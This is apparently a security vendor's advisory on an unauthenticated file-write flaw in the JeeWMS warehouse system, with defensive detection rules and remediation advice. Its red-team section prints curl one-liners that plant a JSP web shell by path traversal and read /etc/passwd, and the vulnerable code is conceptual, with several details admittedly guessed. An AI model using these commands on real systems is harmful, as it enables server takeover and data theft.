CVE-2025-5387

Executive Summary

CVE-2025-5387 is a critical improper access control vulnerability in JeeWMS, a warehouse management system using a rolling release model. The flaw resides in the /generateController.do?dogenerate endpoint, specifically in the dogenerate function of the File Handler component. An unauthenticated remote attacker can exploit this to bypass authorization checks, potentially leading to unauthorized file generation, data exfiltration, or system compromise. The vulnerability affects all versions up to the 20250504 release. No official patch or exploit code is publicly available at this time, but the risk is elevated due to the lack of access controls on a public-facing endpoint.

Supply Chain & Package Security

JeeWMS is a Java-based web application, not an NPM, PyPI, Go, or Ruby package. Therefore, supply chain package security analysis is not applicable. However, organizations using JeeWMS should verify the integrity of their deployment artifacts and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected resource.
• Confidentiality (C): High (H) – Potential for full data access.
• Integrity (I): High (H) – Potential for file manipulation.
• Availability (A): High (H) – Potential for denial of service or system disruption.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using JeeWMS.

Deep Dive & Mechanics

The vulnerability is a classic case of missing or insufficient access control checks on a server-side function. The endpoint /generateController.do?dogenerate is designed to handle file generation requests. The dogenerate function likely processes parameters to create files on the server (e.g., reports, exports, or configuration files). Without proper authorization, an attacker can directly call this endpoint with arbitrary parameters, leading to:

1. Unauthorized File Creation: The attacker can generate files with controlled content, potentially overwriting critical system files or creating web shells.
2. Path Traversal: If the function does not sanitize file paths, the attacker could write files outside the intended directory, gaining code execution.
3. Information Disclosure: The function might return generated file contents or paths, leaking sensitive data.

The rolling release model means there is no fixed version number to reference. The vulnerability was present in the codebase up to the 20250504 snapshot. The lack of a patch suggests the vendor may not have addressed it yet.

Vulnerable vs. Patched Code

Since no official patch exists, a comparison is based on expected secure coding practices.

Vulnerable Code (Conceptual Java):

// No authentication or authorization check
@RequestMapping("/generateController.do")
public void dogenerate(HttpServletRequest request, HttpServletResponse response) {
    String fileName = request.getParameter("filename");
    String content = request.getParameter("content");
    // Directly writes file without checking user permissions
    FileUtils.writeStringToFile(new File("/generated/" + fileName), content);
}

Patched Code (Conceptual Java):

@RequestMapping("/generateController.do")
public void dogenerate(HttpServletRequest request, HttpServletResponse response) {
    // Authentication check
    User user = getAuthenticatedUser(request);
    if (user == null || !user.hasRole("ADMIN")) {
        response.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    String fileName = request.getParameter("filename");
    // Sanitize file name to prevent path traversal
    fileName = sanitizeFileName(fileName);
    String content = request.getParameter("content");
    // Validate content type and size
    if (!isValidContent(content)) {
        response.sendError(HttpServletResponse.SC_BAD_REQUEST);
        return;
    }
    FileUtils.writeStringToFile(new File("/generated/" + fileName), content);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable JeeWMS instance (version 20250504 or earlier) in a controlled environment.
2. Ensure the /generateController.do endpoint is accessible without authentication.

Exploitation Steps:

1. Basic Request: Send a GET or POST request to the vulnerable endpoint to test access.

   curl -v "http://target.com/generateController.do?dogenerate&filename=test.txt&content=Hello"
   

2. Path Traversal: Attempt to write a file to a sensitive location.

   curl -v "http://target.com/generateController.do?dogenerate&filename=../../webapps/ROOT/shell.jsp&content=<%=Runtime.getRuntime().exec(request.getParameter(\"cmd\"))%>"
   

3. Information Disclosure: Try to read system files by manipulating parameters (if the function supports reading).

   curl -v "http://target.com/generateController.do?dogenerate&action=read&file=/etc/passwd"
   

Expected Outcome: Successful file write or read without authentication, leading to remote code execution or data exfiltration.

Blue Team (Defensive)

Detection & Response:

1. Monitor Endpoint Access: Log all requests to /generateController.do and alert on any without a valid session token.
2. File Integrity Monitoring: Use tools like Tripwire or AIDE to detect unauthorized file creation in web-accessible directories.
3. Web Application Firewall (WAF): Block requests to /generateController.do that contain path traversal patterns (e.g., ../).
4. Network Segmentation: Ensure the JeeWMS server is not directly exposed to the internet; place it behind a reverse proxy with strict access controls.

Hunting Queries:

• Search for HTTP requests with dogenerate parameter in web server logs.
• Look for files created in unexpected directories (e.g., webapps, ROOT) with unusual extensions (.jsp, .php, .exe).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /generateController.do?dogenerate from untrusted IPs.
  • Requests containing path traversal sequences (../, %2e%2e%2f).
  • Unusual file extensions in request parameters (e.g., .jsp, .war, .sh).

• File System IOCs:

  • Unexpected files in /generated/ directory or web application directories.
  • Files with suspicious content (e.g., web shells, reverse shell scripts).
  • Modified timestamps on critical system files.

• Log IOCs:

  • Web server logs showing 200 responses to /generateController.do without prior authentication.
  • Application logs indicating file write operations from unknown users.

Detection Engineering

YARA Rule

rule CVE_2025_5387_JeeWMS_AccessControl {
    meta:
        description = "Detects exploitation attempts for CVE-2025-5387 in JeeWMS"
        author = "Valters IT"
        date = "2025-05-05"
        reference = "CVE-2025-5387"
    strings:
        $s1 = "dogenerate" nocase
        $s2 = "generateController.do" nocase
        $s3 = "../" ascii wide
        $s4 = "..\\" ascii wide
    condition:
        any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-5387 JeeWMS Unauthenticated File Generation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable JeeWMS endpoint without authentication.
author: Valters IT
date: 2025-05-05
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "dogenerate"
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5387 JeeWMS Unauthenticated File Generation Attempt"; flow:to_server; content:"/generateController.do"; http_uri; content:"dogenerate"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Endpoint: If possible, block access to /generateController.do at the web server or reverse proxy level.
2. Implement Authentication: Add a filter or interceptor to require authentication for all requests to this endpoint.
3. Apply Input Validation: Sanitize all parameters to prevent path traversal and arbitrary file writes.

Long-Term Fix:

• Since JeeWMS uses a rolling release, monitor the vendor's repository for a commit that addresses this issue. If none exists, consider forking the project and applying the patch manually.
• Conduct a full security audit of the application to identify similar access control flaws.

Workaround:

• Use a WAF to block requests containing dogenerate in the URI.
• Restrict network access to the JeeWMS server to trusted IPs only.

Valters IT
Securing Digital Frontiers